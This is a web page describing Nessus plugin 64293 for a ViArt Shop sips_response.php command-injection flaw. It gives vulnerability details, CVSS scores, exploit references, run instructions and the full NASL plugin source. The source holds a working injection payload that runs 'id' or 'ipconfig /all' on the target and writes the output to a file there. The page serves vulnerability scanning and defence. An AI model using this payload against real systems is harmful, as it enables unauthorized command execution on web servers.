ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution - Nessus

High   Plugin ID: 64293

This page contains detailed information about the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 64293
Name: ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
Filename: viart_shop_sips_response_code_exec.nasl
Vulnerability Published: 2012-09-25
This Plugin Published: 2013-01-30
Last Modification Time: 2022-04-11
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, viart_shop_detect.nasl
Required KB Items [?]: www/PHP, www/viart_shop
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2012-09-25
Patch Published: 2012-09-25
CVE [?]: N/A
CPE [?]: cpe:/a:viart:viart_shop

Synopsis

The remote web server hosts an application that allows arbitrary command execution.

Description

The version of the ViArt Shop installed on the remote host contains a flaw that could allow a remote attacker to execute arbitrary commands. Input passed to the 'DATA' parameter in 'sips_response.php' is not properly sanitized before being used to process payment data. An attacker could leverage this vulnerability to execute arbitrary commands on the remote host.

Solution

Upgrade to version 4.1 or later, or apply the referenced patch.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution vulnerability:

  1. Exploit-DB: exploits/php/webapps/21521.txt
    [EDB-21521: ViArt Shop Enterprise 4.1 - Arbitrary Command Execution]
  2. D2 Elliot: viart_shop_4.1_rce_linux.html
    [ViArt Shop 4.1 RCE (Linux)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:5.9 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.9 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:7.9 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.9 (High)

Go back to menu.

Plugin Source


This is the viart_shop_sips_response_code_exec.nasl nessus plugin source code. This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(64293);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(55674);
  script_xref(name:"EDB-ID", value:"21521");

  script_name(english:"ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that allows arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The version of the ViArt Shop installed on the remote host contains a
flaw that could allow a remote attacker to execute arbitrary commands. 
Input passed to the 'DATA' parameter in 'sips_response.php' is not
properly sanitized before being used to process payment data.  An
attacker could leverage this vulnerability to execute arbitrary commands
on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php");
  # https://www.viart.com/patch_for_arbitrary_command_execution_vulnerability.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bf05a971");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 4.1 or later, or apply the referenced patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"ViArt Shop 4.1 RCE (Linux)");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/30");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:viart:viart_shop");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("viart_shop_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/viart_shop", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "viart_shop",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];
install_url = build_url(qs:dir+'/', port:port);
vuln = FALSE;

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

token = (SCRIPT_NAME - ".nasl") + "-" + unixtime() + ".txt";

foreach cmd (cmds)
{
  if (cmd == 'ipconfig /all') payload = "  ||" + cmd + '> ' + token +
    "&& dir >>" + token + "||";
  else payload = " echo+`" + cmd + "`+`pwd`>" + token + "||";

  payload = urlencode(
    str      : payload,
    unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789_.!~'-+$`"
  );

  # Send POST request to upload the PHP file
  res = http_send_recv3(
    port         : port,
    method       : "POST",
    item         : dir + '/payments/sips_response.php',
    data         : 'DATA=' + payload,
    add_headers  : make_array("Content-Type",
      "application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );

  upload = http_last_sent_request();

  # Test the uploaded file
  check_url = '/payments/' + token;
  res2 = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : dir + check_url,
    exit_on_fail : TRUE
  );

  body = res2[2];
  if (egrep(pattern:cmd_pats[cmd], string:body))
  {
    # Format our reporting output
    if (cmd == 'id')
    {
      path = strstr(body, "/");
      output = body - path;
      path = chomp(path) + "/" + token;
      vuln = TRUE;
      break;
    }
    else
    {
      get_path = strstr(body, "Volume in drive");
      get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
      path = chomp((get_dir - " Directory of ")) + '\\' + token;
      output = strstr(body, "Windows IP") - get_path;
      vuln = TRUE;
      break;
    }
  }
}

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "ViArt Shop", install_url);

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\nNessus was able to verify the issue exists using the following request :' +
    '\n' +
    '\n' + build_url(qs:dir+check_url, port:port) +
    '\n' +
    '\nNote: This file has not been removed by Nessus and will need to be' +
    '\nmanually deleted (' + path + ').' +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis file was created using the following request :' +
      '\n' +
      '\n' + snip +
      '\n' + upload +
      '\n' + snip +
      '\n' +
      '\n' + 'The file uploaded by Nessus executed the command : "'+ cmd +'"'+
      '\nwhich produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/viart_shop_sips_response_code_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\viart_shop_sips_response_code_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/viart_shop_sips_response_code_exec.nasl

Go back to menu.

How to Run


Here is how to run the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution plugin ID 64293.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 50510 - FreeNAS 'exec_raw.php' Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 53633 - Spreecommerce api/orders.json Search Function Arbitrary Command Execution
  • 57350 - Plone Request Parsing Remote Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution
  • 76874 - TimThumb 'timthumb.php' WebShot 'src' Parameter Remote Command Execution
  • 84086 - D-Link Router HNAP GetDeviceSettings Remote Command Execution
  • 84217 - phpMoAdmin saveObject Remote Command Execution
  • 85005 - Accellion Secure File Transfer Appliance 'oauth_token' Parameter Remote Command Execution
  • 85850 - Barracuda Web Filter <= 5.0.0.012 Remote Command Execution
  • 99595 - Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file viart_shop_sips_response_code_exec.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.